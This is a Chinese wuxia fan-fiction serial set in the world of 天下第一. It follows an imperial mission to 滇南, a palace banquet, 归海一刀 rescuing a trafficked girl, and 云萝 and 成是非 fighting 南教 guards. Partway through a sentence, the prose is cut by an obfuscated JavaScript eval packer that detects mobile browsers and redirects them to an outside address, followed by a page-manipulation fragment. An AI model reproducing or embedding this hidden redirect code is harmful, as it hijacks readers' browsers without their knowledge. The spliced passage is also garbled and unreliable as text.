《天下第一之梦回情起》 1. 天子授宝剑 侠士救孤女 正德十二年腊月三十,除夕之日,京城下起今年的第一场也是最后一场雪。古诗云“畴昔月如昼,晓来云暗天。玉花飞半夜,翠浪舞明年。”说的,便是这瑞雪兆丰年之意。值此辞旧迎新、除岁交替之际,家家户户张灯结彩,祭天地,拜祖先,贺宗亲,守团圆,一样不少,富贵人家且不必说,冠袍带履,钟鼓馔玉;就是贫苦人家也不马虎,单看那袅袅炊烟,听那猪羊嘶鸣,便知是怎样一番忙碌热闹。“村夫击壤荷丰年,侯门朱紫皆风雅”,可见江山稳固,国泰民安。可又有几人能知,为这番大好河山,牺牲多少性命,折尽多少铁戟? 若回首过去一年,大明江山可谓命途多舛,虽无外患,却内乱不止,先有宦官乱政,再是皇亲擅权,好在几经波折,最终化险为夷,其相斗之间,展现的忠肝义胆、侠骨柔情,传于世人,也不失为一番佳话。但,也只是佳话罢了。历代正史,只载帝王将相,哪管江湖之事,更别说一介女子。况且百姓所谈,不过在茶余饭后,转瞬即忘。说到底,谁不是芸芸众生之一,天下事还是交给执掌天下之人操心。 京城中心,一幢巍峨建筑俨然而立,这便是紫禁城。由其午门而入,约数百步,过乾清门,便是乾清宫。乾清宫中,御书房内,当朝皇帝正在接见三位臣子。金阶之下,三人并肩而立。中央之人,身姿挺拔,一袭绯袍,胸前缀有二品仙鹤补子,只见那胸前仙鹤凌空一踏,翩然而飞,虽是文官朝服,却衬得所穿之人气度威武,可见其久经沙场,此人便是一年前担任辽东布政使兼都指挥使游赋得。左侧之人,一身玄色长袍,胸前绣有二角飞鱼纹,腰间玉带之下藏有一把精钢软剑,乃皇帝特许随身携带入殿,有此殊荣,非如今掌管护民山庄兼天下第一庄庄主之位、大内密探天字第一号段天涯莫属。右侧之人,身着玄色飞鱼服之外,还披上一件紫金祥云外挂,以显皇亲身份,只是其本人嬉笑怒骂、不修边幅,身上不带半点贵胄之气,想来也只有护民山庄大内密探黄字第一号、云萝郡主夫婿、快乐神侯成是非是也。 三人正自朝礼之时,只见皇帝右手微微一抬,随侍宦官便将一紫檀木盘端至游赋得面前,木盘之上,置有一卷玉轴,一把短剑。 “谢皇上赏赐,臣愧不敢当!” “游爱卿不必谦虚!你治辽阳之时,文可安邦,武能退敌,边境百姓莫不称赞臣服,朕该感谢你才是!” “臣惶恐!” 这句惶恐,想来是真心。至少在一旁的段天涯听是如此。封疆大吏,功高盖主,却只凭短短一句话,即能试探之用,又有威慑之意。段天涯心中不禁感叹,以前无论是自己,还是铁胆神侯,都小看这位皇帝。 “爱卿不必多想。”皇帝由龙椅上站起,缓缓踱下金阶,“此番改土归流,兹事体大,若不选任能臣主事,必不能成。游爱卿治理边疆有功,朝野共睹,这差事非你莫属。” 说罢,皇帝将右手手掌轻轻拍在游赋得肩上。虽说,满朝皆知当今天子不识武功,但这一掌想来比天涯承受铁胆神侯三掌要沉得多。可尽管如此,游赋得始终眼神无一丝闪躲,不卑不亢,可见心中坦然。 “好!朕今日便命你为滇南宣慰使,滇南大小文武官员皆由你调配,全权执掌改土归流一事。” 说罢,皇帝亲自拿起鎏金玉轴圣旨,交予游赋德。游赋得双手接下圣旨,坦然答道: “臣领旨!臣必不辜负陛下圣恩,鞠躬尽瘁,以尽臣职!” “不过,朕素闻滇南之地,民风彪悍尚武,又有魔教长年盘踞,与黔国公府私交颇深,各方势力错综复杂。游爱卿虽也经历沙场,可毕竟是文官,不谙江湖之事,所以,朕有意选派一名大内密探,贴身保护与你,不知爱卿意下如何?” “这……” “段爱卿,你认为如何?” “护民山庄自当领命,只是不知皇上想选派哪一位密探?” “段爱卿武艺高强,处事周密,自然是最佳人选。只是,你如今兼管护民山庄与天下第一庄,只怕分身乏术,所以,朕想指派黄字密探成是非,如何?” “啊?我啊!”成是非原本懒散地站在一旁,头先皇帝与其他二人的长篇大论,他听得一知半解,早已昏昏欲睡,眼下突然叫道自己名字,一时没有反应过来,只能手指头指着自己,张嘴呆在原地。 “怎么?妹夫不愿意?” “也……也不是!只是,皇上你说让我去……滇南?这滇南是什么地方?” “滇南是我朝西南边陲,前朝末年动乱,分裂自成一国,太祖建国时又收复,置土司管理,汉苗杂居,风土人情与中原大不相同,可毕竟是大明疆土。此次改土归流就是要撤销土司,改设流官,均田定税,传颂文教,为的是消除分裂,稳固边疆,这是重任,不可马虎!” “这我当然知道!皇上你慧眼识英雄,知道我成是非是护民山庄黄字第一号密探、武功天下第一古三通儿子兼传人、风靡武林万千女子的威龙大侠,什么改图龟流的自然一出马就能搞定。只是,刚才听你们说的,滇南离京城很远,事情又麻烦……我不是怕苦啊!最关键是皇上您的妹妹、我那郡主老婆刚坐完月子,这个时候你派我出去……” “皇上,还是不必了吧!”不待成是非说完,游赋得已然开口:“此去路途遥远,滇南贫困之地,郡马爷乃皇亲国戚,恐怕受不得此苦。而且……恕臣直言,成郡马虽是大内密探,武功了得,可毕竟受封快乐神侯,不问朝政,怕是不能不足以担此重任……” “喂!你这么说是什么意思?”虽然成是非识字不多,听不惯文绉绉的话,可若有人说他坏话却能立刻分辨,“我不能担任?你这是瞧不起我?不就是做保镖吗,有什么了不起?刚才还说什么魔教,光我身上就有好几样魔教武功秘籍,随便挑一样就能把你打趴下,你还……” 眼见成是非越说越起劲,皇帝只好摆手示意,让他停下,转头笑答道: “这一点,游爱卿不必担心,选派大内密探,原本就是为了保护爱卿,免受宵小所害,大小事宜,还是交由爱卿操办。” “可……” “朕意已决,不必再说!”皇帝挥手打断,游赋得也不敢再说。皇帝又拿起短剑,交予成是非,说道:“朕赐妹夫一柄短剑,此剑乃由玄铁精钢铸成,剑柄之上刻有蟠龙浮雕,见剑犹如见朕。你就拿着这柄剑,为朕诛灭反贼,保卫江山。” “依皇上大舅子所说,这剑不就像是戏里的尚方宝剑一样。不,剑锋不足一尺,该叫尚方短剑。打造得这样好看,卖到赌坊里肯定值不少钱!” 皇帝知道成是非在说笑,可为了体统,还是瞪了他一眼。成是非也知趣收敛。 事已至此,只能接受。游赋德双目低垂,一声叹气微不可闻。在一旁的天涯自然细心察觉,他知道游赋德所叹为何,说是尚方宝剑,可究竟是为了诛灭反贼,还是防患未然,除了成是非以外,大家心知肚明。 “好了!三位爱卿也辛苦了,今乃除夕之夜,就留下来一道参加宮宴吧!” 酉时过,天子祭祀完毕,移驾太和殿,宮宴起。五进殿内,灯火通明,丝竹声声,曼舞翩翩,皇帝倚坐龙椅之上,手捧金盏美酒,值此良宵美景,好不惬意。皇宫大内,等级森严,若能出席宮宴,无外乎三种人,一为皇亲,二为重臣,三为外藩王公。昔日,铁胆神侯贵为皇叔,自然列席皇亲,大内密探虽为内侍,出入宫廷,却未有品级,故而不能列席。但今年不同,铁胆神侯谋反已死,自然撤其席位,可平反之事,天地玄黄四位大内密探居功甚伟,为显皇恩,皇帝特许在神侯原本席位三步之后再设四座,奖其功勋。 皇帝设宴,原本是无上荣耀,可此时天地玄黄四座之上,只有段天涯孤零零一人。玄字密探已不必说,而说起地字密探归海一刀,其身世命运着实令人悲叹惋惜,幼年丧父,为报父仇,拜入护龙山庄,几经杀戮,才发现真正的仇人竟是亲人;一片赤诚,却被恩师铁胆神侯欺瞒利用,不得已自断一臂;心属佳人,不得回应,百转千回终定情,佳人却已香消玉殒。几番波折之下,归海一刀已孑然一身,形神俱疲。或是爱屋及乌,皇帝怜悯,许其休沐,游历江湖。转眼间,已过一年有余,不见音信,只苦了段天涯作为大哥时常惦念。 至于说到黄字密探成是非,本就不是坐得住的性子,加上其郡马爷身份,自然不必在意礼教规矩,此时早已被云萝郡主拉到太后座前。 一年多前,神侯叛乱之时,云萝已有身孕,十个月后,生下一对龙凤胎。眼下,这对龙凤胎已过半岁,正是可爱,太后抱在怀中,乐不释手,也就无暇顾及眼前的小夫妻吵闹。 “说啊!这次又要瞒着我,偷溜去哪儿?”说话间,云萝一手拧着成是非的耳朵,力道虽不算大,却疼得成是非直咧嘴,看来任他武功天下第一大内密探成郡马,在美女老婆面前,也只能是妻奴一枚。 “老婆大人,你冤枉我了!去滇南是皇上大舅子安排的,不关我事!” “皇兄安排你就去?别以为我不知道你在想什!?都说苗人女子美丽大方、热情如火,心痒痒了是吧?想去鬼混了是吧?” “我哪敢啊?真是冤枉!” “皇兄——”眼见母后不为自己做主,云萝转而跑到皇上面前撒娇。 “好了,朕都听到了!妹夫说得没错,此次改土归流事关重大,朕派他去保护游大人,是正事,你不要胡闹!再说,圣旨已颁,你还让朕收回成命?” “那……”云萝眼见争不过,索性说道,“那我陪成是非一起去。” “你?一起去?” “对,一起去怎么了?都说了要保护人,多一个人岂不多一份力?再说了,以你皇妹我的功夫,什么魔教邪教,只要敢来,我就遇神杀神,遇佛杀佛。” 皇帝心知以云萝的三脚猫功夫,真到了江湖,最多只能自保,但为了皇妹面子,也不明说,只道: “你刚出月子,身子还需调养,孩子们也离不开你,实在……” “这你不必担心,太医说我的身子无碍,只需饮食注意调养。孩子们我也一并带上,连同乳母婢女同行,定能照顾得妥妥帖帖。” “可……” “哎呀,皇兄——”眼见皇帝还在犹豫,云萝索性抓着皇帝的手,左右摇晃,力道之大,差点把皇帝从龙椅上拽下来。 “好了好了,朕答应你就是!”皇帝连忙坐稳,扶正头顶皇冠,眼中微怒,却只是指尖点一点云萝鼻头,“真是拿你没办法!” “谢皇兄!”云萝还了一礼,便开心地去抱自己的孩子。 不远处,段天涯眼见这番天伦之乐,心中不禁感慨。他想起今日出门之前,他那未满三岁的朗儿在乳母陪伴之下,摇摇晃晃地向他作揖。皇帝特许出席宮宴,天涯不得不来,看着眼前的金盏玉碟、珍馐佳肴,他却不由得担心朗儿在家是否吃饱,此刻是否已经入睡,若是飘絮还在,也能相互陪伴,不至于孤单。天涯再看身边的空席,回忆起年少之时,与一刀、海棠在护龙山庄度过的除夕。那时,义父出席宮宴,他们留守山庄。三人之中,海棠年纪最小,爱闹又嘴刁,所以他们把好吃的全留给她。至于一刀,平时沉默寡言,却敢偷饮义父珍藏美酒,天涯本想借着长兄之名劝诫,最后反而和他一道喝得酩酊大醉,被义父罚在护龙堂外跪了一天一夜。 世事无常,往昔不可追,思于此,唯有叹息。 此时,舞乐已毕,舞姬退至两侧。殿门之外,三列队伍鱼贯而入,左列,两名大汉前后担一紫金礼盒,其上摆放虎皮、人参等珍品;右列,由一小童牵一匹白马,此马体型健硕,双目有神,可见是良驹;中间,则由四人抬一花轿,其珠帘之后,隐约可见美人。 “这是……” “这是新任辽东指挥使江琳江大人上贡的贡品。”皇上身边宦官手执拂尘,低声轻语,此人便是新任东厂都统秦屒。 “臣辽东指挥使江琳,拜见陛下!”殿中末席,一位官员应声起身,快步上前跪拜,“臣江琳,受命治理辽东,百姓安居,退蒙古骑兵进犯,此乃皇上鸿福所佑!故臣以所俘物资为贡,祈祷天佑大明,皇上万福金安!” 江琳一番慷慨激昂,说的却是陈词滥调,在座的王公贵族、文武百官皆不以为意,唯有一人微微叹息,就是新任滇南宣慰使游赋德。 一年前,游赋得任辽东布政使兼都指挥使,整饬边防,抵御蒙古,虽保得边疆太平,却引起皇帝忌惮。于是皇帝将游赋得调职回京,任命江琳继任辽东指挥使。江琳上任一年,如今回京述职,带来这些“贡品”取悦龙颜。游赋得曾任封疆大吏,清楚地方官吏行事,虽说虎皮、骏马乃是辽东特产,但仅看这些“贡品”品相上乘,即可想象这是搜刮多少民力而来。只不过,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292465|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的事情早已司空见惯,游赋得也调离辽东,于情于理都不能置喙,只能无奈叹息。 皇帝居于云端之上,哪里懂得民间疾苦?这些“贡品”颇合他的心意,江琳的一番奉承也令他如饮甘露,皇帝一口饮尽杯中美酒,饶有兴致地一一扫视贡品,最终目光被中间的花轿所吸引。 “这是何物?” “皇上请看!”江琳俯身掀开珠帘。 只见花轿之内,缓缓走出一位美人,绯色长裙,青丝及腰,面上略施粉黛,双眸盈水却清冷,仿佛深秋冰霜,虽妆容素朴,但在四面金壁之内,反而衬托得犹如出水芙蓉,清丽脱俗。 此等美貌,满堂为之倾倒,就连天涯也不例外。 只是,天涯的惊讶并非全为美貌,而是,这位女子容貌竟有七分相似海棠。 皇帝也一时看呆了,就连手中金盏落地都未察觉,最后还靠太后一声轻咳将他唤回神来。 “哈……哈哈……好好好!爱卿有心了!”皇帝拍手称道,“爱卿治理边疆,劳苦功高,如今还能有如此心意,朕心甚慰!来人,赐江爱卿黄金百两,南珠一斛!至于美人……朕且封为唐妃,母后觉得如何?” 回头一看,太后的脸色早已黑了下来,但圣口已开,也不好驳皇帝面子,只能点头。再看一旁皇后,也是眉头紧锁,不自觉绞紧手中香帕。 事已至此,成是非与云萝面面相觑,再看天涯,也只是叹息。“唐妃”二字,旁人不知,他们却懂得其中涵义。 往者已矣,生者却以不同方式延续执念。只是说到执念,谁又比得过归海一刀?在归海一刀心中,纵使美女万千,恐怕也及不上海棠一根头发。 也不知此刻,一刀身在何处,所思何物? 由京城向南两千余里,便是金陵。江南之地,气候温润,腊月时节,未见飘雪,只是早些时候下了场小雨,入夜骤冷,露珠结为冰霜,点缀于花木草叶之间,也不失为一番风情。秦淮河畔,楚馆林立,丝竹之声不绝于耳,行舟河上,遥望座座小楼,扇扇纸窗映出娇俏身影、曼妙舞姿,可见江南风流。但,有光必有影,人们只道江南风流,却又有几人想过,这风流背后,藏有多少女子辛酸泪? 就好比此刻,一名青衣女孩儿正奔跑于黑夜之中,身后四名黑衣男子紧追不舍,他们并未手持火把,仅靠对岸点点灯火追踪,可见如此行事已非第一次。女子一路狂奔,不敢回头去看,眼见渡口就在前方,却因为体力不支,跌倒在一棵大树之下。 黑衣人将她团团围住,她吓得背靠大树,只能哭泣哀求。 “求求大爷,雨儿求求诸位大爷行行好,放我一马!我是边境粗鄙女子,实在不懂服侍人,家中还老父,求大爷放我回家,照顾父亲,求求你们!” “每个被拐卖来的女子都这么说,若是人人都可怜,那这生意还做不做?” “大哥,我有一个主意。这种雏儿多半不受教,反正已经误了今晚的生意,不如咱们兄弟先享用一番。这丫头模样俊俏,总能卖个好价钱,何必便宜别人?等破了她的身子,看她还傲不傲!” 话已至此,女孩儿也别无他路,她只想死。眼见一名黑衣男子狞笑着走来,她暗暗脚上运力,准备跳入河中,一了百了。 突然间,虚空中飞来一枚冰凌,如利箭飞驰,擦过女孩儿耳畔,瞬间击中男子膝盖,疼得他倒在地上,哇哇大叫。 紧接着,第二枚、第三枚、第四枚冰凌飞来,另外两名男子皆中招倒地,还有一名男子似是首领,武功最高,拔刀一挡。只听“叮”的一声脆响,冰凌倒飞,没入草地,而那黑衣男子亦被震得虎口发麻。 甫一交手,黑衣男子即知来人武功高强,立刻点燃随身携带火把。借着火光一照,他看清女孩儿背靠着一株西府海棠,树大根深,依水而立,但奇怪的是,虽说隆冬,却未见枯叶,反而满树芳华,落英缤纷,重重花影掩映之下,一道黑色人影在坐在树上独自饮酒。 “阁下是何人?为何多管闲事!” “滚!” 那树上声音明显已经染上醉意,但依旧洪浑有力,吓得黑衣男子不禁后退一步。可黑衣男子眼见倒在地上的同伴,一种愚蠢的胜负欲油然而生。 “阁下既然不分缘由,伤我兄弟,那就别怪我无礼!” 话音未落,黑衣男子已挥舞佩刀,一道刀气向树上男子疾驰而去。这是黑衣男子自豪的成名绝招——“横贯四方”,以浑厚内力化为刀气,伤敌于十步之外。他满以为能一击打倒树上男子,岂料树上男子纹丝不动,甚至正眼不看,仍是左手抱着酒坛大口饮酒,右袖轻轻一挥,即将刀气化为无形。 黑衣男子几乎不敢相信自己的眼睛,于是第二、第三刀接连挥出,仍旧被轻易化解。而相比于黑衣男子外强中干的刀气,树上男子的右袖看似毫无力道,实则内劲刚猛浑厚,惊得满树花叶纷飞。但这纷飞花叶也阻挡他的视线,突然,两点寒星穿过重重花叶疾射而来,那是两枚飞镖,一枚击碎树上男子手中酒壶,另一枚则射向他的眼睛,他下意识地一拍树干,腾身翻转,飞镖擦着他的鼻尖飞过,削落一枝树杈。 树上男子大惊失色,飞身而去,接住那枝被削落的树杈。他摔倒在地,宽厚的手掌捧着细小的树杈,目不转睛地看着,仿佛手中捧着的是一件绝世珍宝。只见树杈顶端结了一朵粉色花苞,娇小可爱,可惜未及绽放,便已凋零。 而此时,被冰凌击倒的三人也爬了起来,他们看见树上男子跪倒在地,失神落魄,只当他是被首领所伤,又借火光看清他空荡荡的右袖,哈哈大笑。 “不过一个残臂废人,也敢自不量力,惹了我们江南四狼,叫你……” 他们没有机会说完,愚蠢之人连自己的死相都看不清楚,在唇舌蠕动、准备吐出下一个字时,一道寒光闪过,紧接着,四人人头落地。 血水染红草地,空气中弥漫着腥气,即使经历一场屠杀,宝刀也未染半分血渍,依旧寒光幽幽,可见乃绝世利刃。但使刀之人毫不在意,随手将宝刀一扔,几步踉跄,倒在树下,他靠着大树,仅剩的左手温柔抚摸树干,如同在对着心爱之人,低声呢喃: “对不起……对不起,海棠!……是一刀没有保护好你……对不起……” 夜幕深深,繁花落尽,断肠之人沉沉睡去,却不知这满树海棠花是否能抚慰其伤。 2. 仗义走南疆 边城遇故人 归海一刀已经许久不曾做梦。 海棠刚走的那段日子,归海一刀几乎每晚狂饮方能入眠,他思念海棠,清醒时太过痛苦,便期望醉后能在梦中与海棠相见,但海棠一次都未入梦。天涯看不下去,便替他向皇帝告假,又劝他游历江湖,以解忧愁。转眼一年过去,一刀心境已平和不少,他很少喝酒,他知道若是海棠泉下有知,也不愿见他如此模样,他还记得海棠生前曾说,若有朝一日能够离开护龙山庄,她最想做一名江湖侠士,踏遍大好河山,除尽天下不平,他决定替她完成愿望。只可惜,纵使江山如画,独缺佳人相伴,实在了无意趣。于是,每逢团圆佳节,一刀依旧在海棠树下放纵狂饮,也不理有多少仇家、有多少人盯着他天下第一刀的名衔,一醉方休。 但这一次,他梦见了海棠,以前的海棠 那时,他们三人刚刚学艺归来,海棠师承无痕公子,琴棋书画皆有涉猎,又生性活泼,忍不住卖弄一番。 “杨柳青青江水平,闻郎江上唱歌声。 东边日出西边雨,道是无晴却有晴。” 这首诗,海棠是念给天涯听的。天涯以为海棠是男子,不以为意。一刀主修刀法,但诗词多少懂些,他听得懂其间意思。 杨柳青翠,江水平静,少女听见心上之人的歌声,心情就如同天气一般晴雨不定,不知是他是有情还是无情? 世间万物,最难言说,便是“情”字。海棠对天涯有情,却不知一刀的情。回忆起那段时光,虽然苦涩,却也美好,至少海棠还在身边,总好过…… 一刀曾不止一次后悔过,若他没有误入魔道,海棠不会为他委身嫁于万三千,若他那日没有去抢婚,海棠没有随他而去,或许,今日海棠还在人世,还是天下第一富翁的夫人。海棠可以为了自己牺牲一切,自己又为何不能祝愿她的幸福? “一刀,救我……” 归海一刀乍然从梦中惊醒。不管喝得如何烂醉,多年密探训练让他能够瞬间清醒。他先是摸到身边的汗血宝刀,稍稍安心,再环顾四周,茅草顶、矮脚桌,以及身后窸窣声音。他腾地起身,没有拔刀,只将手掌运出刀气,回身劈去。身后的人自然躲闪不及,下意识地闭上双眼。手刃在距离脖颈一寸之处生生停下,锋利的刀气削落一缕青丝。 “你是,昨晚的……” “多谢恩公救命之恩!”女孩儿“扑通”一声跪在一刀面前,“昨夜恩公昏倒之后,我担心有人再来寻仇,别无他法,只能委屈恩公藏在这里……” 话未说完,一刀已经起身往外走。 掀开帘子,刺眼的阳光晃得人有些睁不开眼。一刀勉强看清周围环境,江水平阔、青草幽幽、炊烟袅袅,原来之前自己是藏身在一艘乌蓬小船之上。 “公子醒了?”说话之人是一位老伯,此刻正蹲在岸边栈桥抽旱烟。 “你是……” “公子不必担心,老头只是一介船夫,昨夜行舟秦淮河上,听见这位姑娘呼救,这才将二位带回来。此处偏僻,只有老头老伴二人居住。” 说话时,女孩儿也跟着出来,低眉颔首地站在一刀身旁。借着阳光,一刀看清女孩儿长相,她是生得极美,肤似凝脂,面如桃李,双目灿若星辰,眉宇间带着几分灵气,左边嘴角还有一弯可爱的浅浅酒窝,只是身上衣物破旧,头发未及好好打理,显得有些狼狈,却也更衬得浑然天成的美貌。 “你叫什么名字?” “我叫雨儿,滇南人士,半年前与父亲外出赶集,被奸人所骗,辗转卖到……昨夜侥幸逃出,得恩公相救,雨儿感激不尽!” “滇南?你是苗人?” “我的父亲是一位汉人,母亲是苗人女子。” “哎,这些年来,官府严查户籍,凡是定了民籍女子,也轻易不会卖身。于是,那些人就从边境之地拐卖女子来此。就算姑娘能够逃出来,可是滇南离此路途遥远,你一个女子如何回去?” 言至此处,女孩儿已经泣不成声,老伯也连连叹气,想必行舟多年,像是昨夜之事也见得不少,只是并非人人都能遇上侠士相救。 “你想回家?” “我已是贱命一条,死在哪里都一样,只是……只是想起家中父亲,也不知道他此时该是怎样忧心难过。” “那你就努力活下去,哭哭啼啼管什么用?”眼见面前梨花带雨的美人,归海一刀没有半点怜香惜玉之心,“再怎么哭,失去的东西也不会回来!” 言及于此,一刀的目光不禁有一丝黯淡,但转瞬即逝,他对着岸上老伯问道: “这船是你的?” “是。” “买你的船,这些应该够了。”说着,一刀从怀中掏出一枚元宝,交给老伯。 “这……这实在太多了,老头不能收下。” “这不是给你,是给你的妻子。”一刀扫了一眼老伯身上单薄的破棉布袄,又看一眼岸上破败的茅草屋,“身为丈夫,不该让妻子受苦。更何况,昨夜追杀之人,都有些功夫,想来背后势力不小,我劝老伯尽早带妻子离开这里。” 话虽简短,却十分在理。老伯执拗不过,只好收下银子。 眼见老伯走远,一刀解开系船缆绳,以左手运气,挥出一道掌风,轻拍岸边,船便离岸,顺着潮水,悠悠飘向江中。 “恩公,你这是……” 一刀没有理会女孩儿的疑惑,兀自在甲板上盘腿坐下,闭目打坐。 话分两头。 正月十六,复印开朝。皇帝于太和殿之上当众宣布欲在滇南实施“改土归流”之意,百官震惊。早朝散后,又移驾至午门,为游赋得践行。因“改土归流”之举,事关重大,为求稳妥,皇帝特在禁军之中挑选一千精锐,护卫随行。此外,皇帝又加派一行内侍,嘱咐好生照顾郡主。一番杯酒辞行之后,队伍便浩浩荡荡地从京城出发。 转眼两个月过去。说起滇南宣慰使游赋得大人,本是一方封疆大吏,其治理辽阳时,文治武功皆有建树,故而行军迅速,从不拖泥带水。只可惜,此行还有位云萝郡主,不但辎重奴仆甚多,还一路游山玩水,耽误不少脚程。顾及其皇亲身份,游赋得也不好发作,几番劝说无果之后,只好以皇命在身为由,先行带领禁军拔营赶路,留下云萝和成是非一行在后慢慢游玩。 又过了一个月,云萝一行才进入丽州境内。 滇南之地,山川险峻,路途艰难,古人云“蜀道难,难于上青天”,可见一斑。但其自两汉降附中原,便时有通商。太祖时,滇南土司率众归降大明,太祖命其为黔国公,镇守西南边境,同时,设茶马互市,修驿道,商旅渐兴。商旅兴旺,旅途之上自然少不了休憩歇脚的茶楼驿站。 云萝一行投宿驿馆,云萝先是带着孩子上楼休息,交代乳母好生照顾。随后下到一楼茶棚,一眼看见成是非正拉着驿馆老板娘说话,眉飞色舞,好不开心。云萝心中自然吃味,不动声色地走过去,重重咳嗽一声,吓得成是非差点从椅子上摔下来。 “说什么呢?这么高兴。” “夫人不必多心,小妇人只是在和官人说说这滇南风土人情。” 老板娘笑容大方坦然,完全没有中原女子的扭捏之态。 “哼,蛮荒之地,有什么风土人情?” “话可不是这么说,旁的不说,这酒便与中原美酒大不相同。” “有什么特别?” “若说窖藏年月、酿造手法,没有什么特别之处,唯一不同,便是酿酒的水。” “水?” 老板娘玉指一指茶棚之外。 不得不说,这驿馆所设之处巧妙。滇南路险,驿道多修于崇山峻岭之间,悬崖绝壁之上,驿馆亦是。这驿馆毗邻驿道,背靠悬崖,前临深渊,在一楼茶棚,既可遥望远山白雪皑皑,又能俯瞰深谷江水滔滔。 “此江名为雪川,乃是每年初春由玉龙雪山融雪汇集而成,这雪山之水,汇集天地灵气,小店美酒皆是由雪水酿造,入口清甜,官人可以尝尝。” 说罢,便往成是非手中酒杯倒酒。只是酒未入口,却听见云萝一拍茶桌。 眼见娇妻发怒,成是非只好放下酒杯,老板娘也赶紧劝架: “若夫人不喜欢美酒,便试试小店香茶。” “这茶也是由雪水煮的?” 虽然心中不悦,但一趟赶路下来,云萝已是口干舌燥,便拿起茶杯啜了一口。神奇的是,眼见茶杯冒着热气,但一口入喉却是甘甜清凉、回味无穷,反倒让喝惯了名贵茶叶的云萝倍感新鲜。 “夫人觉得如何?” “还行吧!” 虽然还在强撑面子,但云萝语气已缓和不少,于是吩咐老板娘下去准备饭菜。 老板娘走后,云萝又给自己倒了一大杯茶。美景在前,香茗在手,自然心情大好。可转头一看,却见成是非不声不响地在一旁生闷气。 “喂,你干嘛啊?愁眉苦脸的?” “什么干嘛?酒也不让喝,话也不让说,换了谁能高兴?” “喝酒喝酒,你就知道喝酒。你就不能多陪陪我?我刚生完孩子,就陪你跋山涉水,我容易吗?” “又不是我叫你来的,早说了让你在京城休养,是你非要跟来,还怪我?” “当然怪你!怪你这死不正经、见了美女走不动道的德行,不跟着你行吗?” “笑话!我成是非乃拳打九州、脚踢四海、风靡武林万千女子的天下第一美男,什么美女没见过,要说……” “嗯——” “要说这天下第一美女,自然当是我这天下第一贤良淑德郡主老婆啦!” “油嘴滑舌!” “这怎么能是油嘴滑舌?不信我给你找找,这方圆五里之内,绝对找不出比郡主老婆你还漂亮的……” 正值成是非比划之时,又有一行人走来。这行人看着古怪,先是四名黑衣护卫,手握刀剑,凶神恶煞,再有四名大汉抬着一顶矮轿,一名老妇人随侍在侧,手上捧着一枝鲜红凤仙花。老妇人拨开珠帘,一名绝美妇人从矮轿中缓缓走出。 只见这位妇人一身红袍落地,发髻高挽,凤凰流苏头簪斜插发间,红纱掩面,只留一双凤眼秋水盈盈,回眸一笑,百媚丛生,迷得成是非七荤八素。 这一切自然被云萝看在眼里,好不容易平息的醋火又燃了起来,玉指往成是非腿上狠狠一捏,疼得他跌坐椅上,一双眼角淌出两颗豆大的泪珠。 “走,回房去!” “啊?这就回?还没吃饭呢?” “吃什么吃?就知道吃!” “不是,你看这饭菜都端上来,先吃……” 的确,此时老板娘已端着一盘饭菜走来,只是一见红衣妇人一行,便吓得丢下饭菜,跪倒在地。 “掌柜不必害怕!”老妇人开口道,“我等赶路疲惫,来此讨口茶喝。” 话已至此,老板娘颤颤巍巍地起身,招呼一行人落座、上茶,竟把成是非二人晾在一旁。 等到好不容易忙完,老板娘才将重新做好的饭菜端到成是非桌前。 “老板娘,这些人是谁?为什么你这么害怕?” “嘘——”老板娘连忙示意小声说话,“这些是南教中人。” “南教?也就是魔教?” 这一下更是把老板娘吓得不轻。 “官人慎言!这南教在滇南创教百年,势力庞大,教徒逾万,万万得罪不起!你看那凤仙花,就是南教标志,在滇南,只要看见凤仙花标志,都要避让三分。” 说着,老板娘又往茶棚外,指了指那一行人的车驾。那一行人,随行还带了一辆马车,马车上载着一幅棺材,棺材上印着一朵凤仙花标志。 “棺材?又是棺材?” 这下倒挑起成是非的好奇心。他记得与云萝成亲之初,二人云游四海,也是在荒郊野店遇上东厂暗探,好奇探查之下,竟阴差阳错地救了自己的母亲素心。 正自思虑之间,那一行人已经起身,那位妇人又坐回矮轿之内,头也不回地出发。 “走,快跟上!”成是非拉着云萝追赶上去。 那一行人依旧沿着驿道赶路,脚程不快,于是成是非二人便借着沿途山石躲避追踪。约莫走了二里路,云萝终于不耐烦。 “哎呀!跟了这么久,我们到底在查什么啊?” “小声点!四个凶神恶煞的男人和一个美艳妇人,带着一副棺材赶路,你不觉得奇怪吗?” “既然觉得奇怪,就去问啊!” 云萝性子直爽,说了就做,一个飞身,跳到那一行人面前。成是非无奈,只能跟随。 “喂!你们是什么人?棺材里是什么东西?” “故人而已。”矮轿内传出妇人声音,这声音婉转动听,却又带着些许妖媚,若是定力不足,只怕要被迷得找不着北。 “故人?少糊弄人,哪有给故人送葬是穿红衣的?” “光天化日,我等赶路,纵然行径有些古怪,却也没有触犯律法,姑娘何必多管闲事?” “哼!这天下是朱家的天下,路见不平,本郡主自然要管!” “哦,我当是谁?原来是大明郡主和黄字密探,也好,省得我去找你们。” 轿中妇人玉手一扬,四名黑衣护卫已拔刀向前,云萝自然不甘落后,一个跃身上前。说起云萝郡主,自幼性子好动,喜爱习武,重金请遍各派高手传授其武艺,再加上如今有一位身上写满各派武功秘籍的夫婿,时不时能偷学两招,自诩可以名列武林高手,于是她不带任何武器,仅靠赤手就与四人搏斗起来。 只见云萝身如飞燕,穿梭在四人之间,左一掌、右一腿,招式灵巧至极。相比之下,四名黑衣护卫所使刀法乍一看并未见如何精妙,但胜在配合无间,四人各占四角,刀法连环,组成一片光网,将云萝困住。 转眼间,几人相斗已过百招,云萝从峨眉派的“飞凤穿心掌”使到武当派的“鸳鸯连环腿”,仍是无法取胜,渐觉气力不济。而四名黑衣护卫却是面色如常,刀法越使越快,光网收束,眼看就要伤到云萝。 